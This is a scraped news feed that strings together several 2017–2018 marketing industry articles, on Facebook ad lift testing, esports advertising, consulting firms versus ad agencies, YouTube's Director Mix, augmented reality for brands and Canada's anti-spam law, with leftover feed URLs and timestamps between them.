The social networking giants claims advertisers are catching on too, and that it saw a 40% increase in the number of lift tests advertisers ran on Facebook in 2017 compared to 2016.

For example, last year, Airbnb wanted to target a bunch of ads highlighting family-friendly destinations to people on Facebook. Using the platform’s tools, the brand identified its target audience and divided them into two sets people — the first set was shown the ads while the second wasn’t.

The company declined to share specifics, but found that the group that was shown the ads converted significantly more and booked more rentals. Armed with that knowledge, it was able to double down on its ad investment.

With efforts like these, Airbnb has been able to estimate the marginal efficiency of its channels relative to one another and shift budgets accordingly. The brand has doubled its efficiency on Facebook versus this time last year, according to Gupta. 

In fact, effective measurement has been so instrumental in helping Airbnb make business decisions that its marketing data science team has grown tenfold in the last 18 months, said Gupta. The team is a hybrid mix of data scientists, marketers, creatives and engineers.

“We advertise across so many channels and campaigns,” said Gupta. “There is a lot of data we need to ingest from third parties, and it helps to ahve a dedicated internal team to match that with the internal data we already have.”

Measuring incrementality also helps fill in the gaps that crop up when brands focus simply on which ads drove immediate action, which is often based on direct signals from consumers, like the final click that led to a purchase.

This focus on ad budget “attribution” – i.e. which parts of an advertiser’s budget led to a consumer making a purchase– tends to overlook other interactions with a brand, such as emails or banner and search ads, said Tony Flanery-Rye, senior director of global growth analytics at eBay.

“Did the presence of an unopened email make you recall the brand?,” he asked. “What about appearing in a search result, but not clicking? Or, a display ad floating at the bottom on your favorite mobile game you play between meetings?” he said.

Being more scientific about how different ad tactics perform can help “you identify the best scheme to match your specific customer behaviors,” he said.

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]]> https://briefnews.eu/big-marketers-like-airbnb-and-ebay-are-using-facebook-to-see-which-ads-are-a-waste-of-money/feed/ 0 Esports advertisers need to be fans first, marketers second https://briefnews.eu/esports-advertisers-need-to-be-fans-first-marketers-second/ https://briefnews.eu/esports-advertisers-need-to-be-fans-first-marketers-second/#respond Sat, 20 Jan 2018 14:47:15 +0000 http://briefnews.eu/esports-advertisers-need-to-be-fans-first-marketers-second/

GUEST:

Just because New England Patriots star quarterback Tom Brady is good at football doesn’t mean he’s good at Madden. And just because you’re good at marketing doesn’t mean you’re good at esports marketing. While esports may not yet have the same name recognition as soccer, football, or baseball, the prospect of it soon joining their ranks is not too far-fetched.

As the owner of 10 major esports brands, we at Gamurs Group have seen and reported on the esports industry rapidly gaining steam and grabbing the attention of fans across the world. According to a recent report by IHS Market, in fact, the amount of time spent watching competitive video games totaled more than six billion hours in 2016, up 19 percent from 2015. Moreover, the Olympic Council of Asia recently announced its decision to make esports a medal event in the 2022 Asia Games in Hangzhou, China — hinting at a potential future of esports gaining Olympic status by 2024.

Nevertheless, advertising revenues have yet to match esports’ rate of growth. As our esports news site reported, the same IHS Market report estimates that $ 280 million was spent on esports advertising in 2016, and forecasts the amount to reach $ 1 billion by 2021. And while many advertisers might be tempted jump right in and plaster their ads on game or competition streams, that strategy has been known to fail.

Based on our experiences working with Acer, Red Bull, and other major brands, here are the four best strategies to reach esports fans with your advertisements:

Know your audience

Esports is new, and as a result the audience is still somewhat of a mystery to advertisers, but it is clear that there is a huge potential in the market. “The esports audience includes some of the hardest-to-reach and most sought-after demographics for marketers and advertisers,” said Bobby Kotick, the chief executive of Activision Blizzard, speaking to investors.

As such, it is important to first demystify your target audience before bombarding them with unwelcome advertisements.

We have found that doing this boils down to living and being a part of the esports community. Without being gamers, we would never have been able to keep on top of the quick-moving trends in that community. At the end of the day, who knows what esports fans want more than esports fans themselves? As an advertiser, if you want to succeed in the realm of esports, you must do your homework and understand the community to know exactly what resonates with your audience. Then, you can design advertisements that play directly into your audience’s interests.

For example, in this Facebook video advertisement that we designed, you can see that, despite its clearly promotional nature, it is focused on what resonates with the audience. Piggybacking off of content that already interests your audience provides a great opportunity to introduce your advertisement or product. Another example highlights how framing video advertisements as news pieces related to your audience’s interests can help extend your advertisement’s reach. By linking your advertisement with news that is relevant to your target audience, you can benefit from a much higher level of engagement.

To best reach your audience of esports fans, it is crucial to first understand who they are, what they like, and — perhaps more importantly — what they don’t like.

Don’t detract from the content

No one likes being interrupted by promotional content — especially gamers. The demographic which includes significant numbers of young males “typically shun[s] brand marketing” — unless it’s done right. To get esports fans on board with your advertising attempts, the key is to show them content that speaks to them directly, without interrupting a game or competition stream.

Instead, get fans on board by integrating advertisements seamlessly with content that already resonates with them. We have seen great success by utilizing banners at the beginning of an article or a bumper at the end of a video to expand reach without detracting from the actual content your audience wants to consume. Another method is using title sponsorship for a video. We used these same techniques in a recent campaign we ran for the League of Legends World Championships and found them to be highly effective.

Native advertising has also shown extreme promise in reaching gamers and their fans due to its unobtrusive nature. Rather than smacking fans across the face with blatant advertising attempts, a more subtle approach will yield better results. Creative advertising that supplements — rather than dominates — the content attracting is a much safer bet. Take a page out of Snickers’ book and its “You’re Not You When You’re Hungry” campaign that launched as a sponsor of Eleague last year. The campaign achieved great success for its capability to seamlessly incorporate interesting content into its campaign strategy.

Choose your channels

Knowing who your audience is and what they like and dislike is just one half of the equation; you must also know where to find them. Live streaming video platform Twitch has attracted a large and dedicated esports community where fans flock to watch live streams of their favorite games and gamers.

Just last year Twitch boasted views from 2.2 million unique streamers with 292 billion minutes watched — up more than 50 billion minutes from 2015. For this reason, many successful advertisers have turned to employing the help of gamers and influencers themselves in their promotional strategies. By partnering with someone trusted by the community of users on a platform like Twitch, advertisers look more authentic to viewers. The approach is not new; however, the channel is — and it continues to gain more and more popularity.

We use a similar approach with Facebook and other content pages that are very popular with the community as well. Gamers are generally very spread out, but they also tend to congregate in specific places. Therefore, focusing your advertising efforts on these niche communities are sure to see a higher success rate.

Don’t pretend to be a gamer — hire one

Being good at marketing is different than being good at esports marketing. Just as you wouldn’t sign up Tom Brady for a Madden tournament, you shouldn’t rely on your traditional marketing team to know how to advertise to the esports community.

Instead, hire someone who knows the community well and understands exactly what the target audience wants. Or you can dare to meet the same fate as Bud Light, whose first and awkward venture into esports marketing resembled a dad talking about gaming with his son. In the flopped campaign, the company missed the mark on all of the players they nominated for awards, showing a significant lack of research and preparation, and were ridiculed by the esports community. Ultimately, this serves as the best example of how not to do things.

As gamers and businesspeople, we can tell you: hiring a marketer that is familiar with and actively involved in the esports community is the best way to know which ideas carry the most weight and would best succeed. Knowing the right terminology, a deep understanding of the rules, and up-to-date information about the games and players will give you an edge and avoid the shame of coming across as an ignorant outsider — as well as the wasted advertising dollars that would come along with it.

Esports advertising is no simple task, but with a proper understanding of your audience, it can be. And if exercised properly, you’ll be able to get in and reap the early profits that the emerging industry has to offer. As an advertiser, it’s more than just talking the talk — you have to walk the walk too. The best way to do it is to become a part of the community and know exactly who your audience is and exactly what it’s looking for.

Riad Chikhani is founder and chief executive officer at Gamurs Group, parent company of Dot Esports, the premier destination for news and data on competitive gaming.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

]]> https://briefnews.eu/esports-advertisers-need-to-be-fans-first-marketers-second/feed/ 0 Marketers like Chipotle are turning to consulting firms to help transform their businesses — and ad agencies are nervous https://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/ https://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/#respond Sat, 07 Oct 2017 21:06:53 +0000 http://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/ chipotle burritocmmorrison/Flickr

  • Consulting firms like Deloitte and Accenture are increasingly being seen as coming for ad agencies’ business.
  • Their pitch to marketers such as Chipotle: we can help you with complex challenges, and can build digital products that can transform your business.
  • Still, consultants will have to prove they can weave creativity with technical know how.

Here’s why ad agencies need to worry about consulting firms: traditional ad shops can’t handle burrito orders.

At least, that’s what the consultants say.

Chipotle has recently tapped Deloitte Digital to build and maintain its Apple and Android Apps as it looks to implement mobile ordering across its network of restaurants. On the surface, that may not seem like that big a deal. It’s just one app after all.

But as consulting giants like Accenture and Deloitte circle around the ad agency business, it’s partnerships like the Chipotle app that some in the ad industry see as a harbinger of things to come.

They say that while traditional and even digital ad agencies are still great at making ads and buying media to make sure they get in front of the right people, they aren’t as well equipped to make apps that are so vital to a company’s business – let alone all the billing, data collection and logistical implementation required.

And as digital customer experiences become a crucial part of marketing – people are literally holding a company’s brand in their hands after all – the argument is that consulting companies, with their informational services heritage, are best equipped to handle this kind of work. And the more that the Deloittes of the world can get their hooks into marketer’s operations, the more ad assignments they’ll be entrusted with – which puts classic ad agencies in a disadvantaged position, or so the thinking goes.

Indeed, in the ad industry, where the future of the ad agency model is constantly being examined, consulting firms have become the new bogeyman. Fair or not, firms like Accenture and IBM are seen as having a better claim on driving real business results in an industry known for making pretty ads and making sure they get where they are supposed to. 

What’s so great about consultants?

Greg March, the CEO of the independent ad agency Noble People, summed up the conventional wisdom regarding consulting firms as thus: “They’ve got MBAs, they’ve got money for days, and they have access to the C-suite decision makers.”

Consulting giants have also been making lots of acquisitions in this sector of late; last year, Deloitte bought the San Francisco creative agency Heat, reported Adweek.

During an interview at the Cannes ad festival in June, Michael Kassan, CEO of the ad advisory firm Medialink, even predicted that a giant consulting firm would end up buying one of the big four ad agency holding companies like WPP or Publicis.

“The real difference is, we bring a few things they don’t have,” said Donald Brady, principal, Deloitte Consulting LLP and Customer Experience Innovation Leader at Deloitte Digital. “We have deep industry expertise and can handle complex technical solutions. [Agencies] are coming from creative world. They don’t have the depth or scale.”

unnamed 4DeloitteBrady noted that Deloitte Digital last year recorded $ 27 billion in revenue and has a network of over 10,000 people in 28 countries.

By nature, companies like Deloitte see themselves as playing a more integral role in helping assess and improve their clients’ businesses that goes well beyond marketing.

“Our clients come to us with really big challenges. Transformational challenges,” said Oliver Page, Principal at Deloitte Digital. Transformational challenges such as changing the way people order and pay for food in thousands of restaurants – a behavior which is increasingly becoming the central way people interact with many brands.

Page said that in the quick service restaurant category, it’s very early but in some cases ordering via apps is accounting for 1% of a company’s business. Chains like Panera Bread have seen digital ordering take off, as Business Insider reported in June. 

“That channel really is becoming a huge revenue driver for restaurants,” said Page.

PaneraAP Photo/Charles Krupa“It’s moving quickly. What you end up having when you interact with your customers is a much richer data set. That’s what is unique [about what we do]. Making ordering easier or more convenient is what consumers are looking for, and it is what the brand represents. And making these things work in the real world, it’s not easy.

“This is a testament to where the market is going,” Page added. 

Left brain vs. right brain

Perhaps. For his part, March argued that both ad agencies and consulting firms have their natural strengths and weaknesses, and that each side’s weaknesses can be addressed by hiring different types of people.

He admits to being biased, but he believes it will be easier for ad agencies to hire more analytic-driven people than for consulting firms to get more creative.

“From what I’ve heard from people who have worked on both sides, the consulting firms are not really strong on how to engage creatively,” he said. “A culture of creativity is really hard.”

March said that agencies are hardly bereft of offering their clients potential ways to change their businesses. The question is, do they know how to execute them?

At the same time, consultants have to prove they can deliver on ad campaigns that work. “The knock on these guys has always been, they give you decks and then leave,” March said. “They’ve got to change that. If you are going to charge somebody $ 2 million for a strategy that’s one thing, but now they are going to have to execute.”

Gene Liebel, co-founder of the digital agency Work and Co, which works with Facebook, Apple and Marriott, and others, agreed that in 2017 more marketers need help building digital tools to help them directly interact with their consumers. But he also doubted whether consulting firms are up to the task of handling the little things, or can attract the right talent to deliver.

“Someone still has to do the hard work of designing and building successful digital services, and that execution piece is what’s actually the toughest,” he said. “The talent pool for the best engineers and best digital designers is surprisingly small, and those people are drawn to places where they can go beyond just concepting great digital experiences. They want to make real things. And actually witness their ideas make it out into the world to be used by real consumers.”

In other words, Chipotle’s app better work really well. Or like many marketers, the company might soon be looking for a new agency.

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]]> https://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/feed/ 0 YouTube wants to make it easier for marketers to make thousands of different ads https://briefnews.eu/youtube-wants-to-make-it-easier-for-marketers-to-make-thousands-of-different-ads/ https://briefnews.eu/youtube-wants-to-make-it-easier-for-marketers-to-make-thousands-of-different-ads/#respond Mon, 25 Sep 2017 04:43:43 +0000 http://briefnews.eu/youtube-wants-to-make-it-easier-for-marketers-to-make-thousands-of-different-ads/ unnamed 5Google

YouTube is rolling out a new tool, called Director Mix, to make it easier for marketers to churn out hundreds, if not thousands of variations of video ads.

The company is on a mission to convince advertisers that more relevant ads — tailor made for a certain viewer’s profile — will have a much bigger impact on consumers.

It sounds pretty logical, but many big advertisers still only repurpose TV ads for the web. They don’t have the ability, wherewithal, or will to crank out a few hundred or even a few thousand ad variations.

So YouTube is offering to take on the heavy lifting. Director Mix is built to let a marketer upload multiple ad building blocks, like different cuts of commercial video footage, voiceovers, and copy variations – and the tool will automatically create thousands of ads, said Tara Walpert Levy, vice president of agency and media solutions at Google. 

“We are in this fight for attention,” she told Business Insider. “Advertisers are weighing where there most likely to get it and how.”

To help increase and ad’s relevance, YouTube is letting advertisers use more Google data to find the potentially most interested consumers. As of January, advertisers could use Google search data to better target ads (like showing a cruise ad on YouTube to someone who’s just searched for travel ideas on Google.)

Now, brands will be able to use data from other parts of the web Google touches for this ad targeting option. For example, a person who has downloaded a skiing conditions apps and used Google Maps to find local ski resorts could see an add for ski equipment on YouTube.

Plus, advertisers employing multiple ad variations can use Google’s data and tools to strategically sequence different ads. For example, a brand can show a person three different ads in a particular order to tell a more complete story.

On the flip side, advertisers can also make sure that they don’t pound people over the head with the same ad too many times, said Levy.

Naturally, Google has all sorts of research on how much better relevant, customized ads perform for brands on YouTube. Levy is set to showcase this data and the new targeting tools at an Advertising Week panel on Monday.

“We’re leaning into our success with these tactics, and expanding the range of signals brands can use make its ads more customized,” she said. 

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]]> https://briefnews.eu/youtube-wants-to-make-it-easier-for-marketers-to-make-thousands-of-different-ads/feed/ 0 ‘It’s a game changer’: the new iPhone has marketers bullish on augmented reality (AAPL, GOOGL) https://briefnews.eu/its-a-game-changer-the-new-iphone-has-marketers-bullish-on-augmented-reality-aapl-googl/ https://briefnews.eu/its-a-game-changer-the-new-iphone-has-marketers-bullish-on-augmented-reality-aapl-googl/#respond Wed, 13 Sep 2017 21:10:09 +0000 http://briefnews.eu/its-a-game-changer-the-new-iphone-has-marketers-bullish-on-augmented-reality-aapl-googl/ iPhone X AR ConceptGabor Balogh

  • Marketers are bullish on augmented reality, with both Apple and Google embracing it.
  • Lowe’s, Ikea and Cambria are a few brands already toying with their own apps.
  • Brands expect AR to take off because it has a lower barrier to entry and can be scaled easily.

Apple CEO Tim Cook is not the only one that’s bullish on augmented reality. Marketers are suddenly dreaming big about AR.

Apple is all set to roll out iOS 11 next week, which among other things, will enable the iPhone’s camera to integrate graphics into the real world. And several major brands, including Lowe’s, Ikea and Cambria will quickly follow suit with their own ARKit apps.

“It’s a game changer,” Aaron Shapiro, CEO at Huge, told Business Insider. “It is really a first in the true convergence of the physical and the digital. It is well poised to become mainstream quickly.”

“Augmented reality is definitely the next big computing platform,” Marc Jensen, chief innovation officer at agency Space150 said. “It is inevitable.” 

The current buzz around augmented reality harkens back to the launch of the iOS App Store — or even virtual reality — not too long ago. Brands of all shapes and sizes jumped on the bandwagon, launching their own apps and VR experiences. But barring a few notable exceptions, for instance Uber and Snapchat, the majority of these were failures. Both the bubbles eventually burst, at least from the marketing standpoint. 

But marketers believe that augmented reality is different, with Google joining in with its very own ARCore on Android devices. 

“We can now extend interactive brand experiences to consumers, wherever they are – as long as they have the devices in hand,” said Zach Debord, creative director at Isobar US. “This removes the barrier of geography from branded experiences, and since the devices are so ubiquitous, it means that the barrier to entry is minimal.”

The ubiquity of both Apple and Android devices also means that the technology is set on the path for scale, said Sargi Mann, EVP of digital strategy at Havas Media. “Building the capability within the phone versus requiring an additional device is going make consumers a lot more willing to engage with the technology,” he said.

As a result, the technology is proving to be an attractive bet for brands. Huge, for example, has worked with Lowe’s to develop an ARKit home improvement app that enables people to measure objects and items, such as the dimensions of a window, in their homes easily.

“We’re always exploring new and emerging technologies and looking for the best ways to provide value to our customers and our store associates,” said Gihad Jawhar, Lowe’s VP of digital development. “With Apple’s ARKit, augmented reality is instantly at scale, reaching 100 million plus devices that are ARKit-compatible.”

Meanwhile, Space150 has developed Cambria AR, an app that allows customers to sample Cambria’s various surface designs for their homes, restaurants or bars. The ARKit technology maps surfaces such as kitchen counters, islands or bar tops and then overlays designs on them, providing an image of what the surface would look like.

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Ikea too will unveil an app called Ikea Place which will allow users to preview “true to-scale” Ikea furniture in their homes using AR.

Moving forward, expect a number of other brands to put forth different use cases. A consumer could try on a jacket he or she is looking to purchase in their own mirror, for example, said Octavio Maron, executive creative director at the marketing firm Fetch. Or augmented reality could be integrated in utility apps such as maps, suggested Havas Media’s Mann. It could also be used for educational purposes, such as museums, said Huge’s Shapiro.

“There will be a lot of experimentation and play before we all can embrace an AR future,” said Space150’s Jensen. 

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]]> https://briefnews.eu/its-a-game-changer-the-new-iphone-has-marketers-bullish-on-augmented-reality-aapl-googl/feed/ 0 Top marketers at Cannes told us how they’re reaching millennials and kids who avoid advertising https://briefnews.eu/top-marketers-at-cannes-told-us-how-theyre-reaching-millennials-and-kids-who-avoid-advertising/ https://briefnews.eu/top-marketers-at-cannes-told-us-how-theyre-reaching-millennials-and-kids-who-avoid-advertising/#respond Fri, 07 Jul 2017 16:51:02 +0000 http://briefnews.eu/top-marketers-at-cannes-told-us-how-theyre-reaching-millennials-and-kids-who-avoid-advertising/ When it comes to media consumption, and their attitudes toward advertising, millennials don’t behave like previous generations. They actively block ads on the web, binge ad-free TV shows and generally are tough for marketers to connect with.

It’s even tougher for marketers to grab the attention of kids, who never seen to look up from their phones, even for major sporting events. How do advertisers get their messages in front of consumers who have never had their media interrupted with commercials?

Business Insider caught up with four top marketing executives at the Cannes advertising festival last month to ask them how they approach getting through to an increasingly hard to reach digital generation. Here’s what they told us.

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]]> https://briefnews.eu/top-marketers-at-cannes-told-us-how-theyre-reaching-millennials-and-kids-who-avoid-advertising/feed/ 0 Marketers: Are you ready for Canada’s July 1 spam law? https://briefnews.eu/marketers-are-you-ready-for-canadas-july-1-spam-law/ https://briefnews.eu/marketers-are-you-ready-for-canadas-july-1-spam-law/#respond Sat, 13 May 2017 23:49:39 +0000 http://briefnews.eu/marketers-are-you-ready-for-canadas-july-1-spam-law/

GUEST:

Canada has been called the “Great White North,” but starting July 1, it’s also poised to become the Great Spam-Free North.

That’s when Canada’s Anti-Spam Legislation (CASL) – one of the toughest laws of its kind in the world – reaches the end of a three-year transition period and its “private right of action” provisions take effect.

This means anyone who receives an unsolicited commercial electronic message — including emails, text messages, instant messages, and direct messages on social media — can pursue legal action against the sender. Fines are $ 200 per message, in addition to millions of dollars in penalties that the Canadian Radio-television and Telecommunications Commission can impose.

CASL’s impact stretches well beyond Canada’s borders because it applies not only to Canadian commercial email marketers but to those elsewhere sending messages to Canadian subscribers – so in effect anyone doing business in Canada (with some exceptions for political parties and charities). This means the stakes are high for marketers in the neighboring United States and around the world.

Under CASL, a business cannot send an email without explicit opt-in consent from the recipient or an existing relationship defined by certain parameters, such as a purchase in the preceding two years or an inquiry in the last six months.

Enforcement of CASL comes as marketers are grappling with the coming General Data Protection Regulation (GDPR), tough new rules governing how companies use an individual’s personal information, including email addresses, in the 28 European Union countries. GDPR becomes enforceable, with heavy fines, beginning May 25, 2018.

Between these two alphabet-soup laws, the days of unsolicited, non-opt-in emails could be coming to an end. In fact, the United States, unless new rules are enacted (which seems unlikely in the current political environment) could be left as the only major country lacking a nationwide anti-spam law mandating an opt-in.

CASL forces companies to perform the mammoth task of sifting through enormous databases of contacts and obtaining express consent for sending future communications.

The law also means marketers need to be asking a handful of questions:

  1. Does their communication ask for permission to send future electronic messages?
  2. Does it show that the recipient can easily unsubscribe at any time, preferably with one click?
  3. Does the company regularly test the unsubscribe function to make sure it’s working properly?
  4. Does the communication include the sender’s email address, phone number, and physical address?
  5. Is there a process for documenting when a recipient does or does not give consent? Is the company keeping good records of opt-ins and opt-outs?

The law also makes it necessary for companies to keep their databases up to snuff and properly account for people who have consented to receive messages and those who need to be purged.

CASL is good news for consumers tired of the spam flooding their inboxes and devices. It won’t be easy for companies to implement the new rules, but they should be okay as long as they design and implement strict processes and make sure that permission is the crucial watchword from July 1 forward.

David Fowler is Head of Privacy and Digital Compliance at Act-On Software, a marketing automation provider.

VentureBeat

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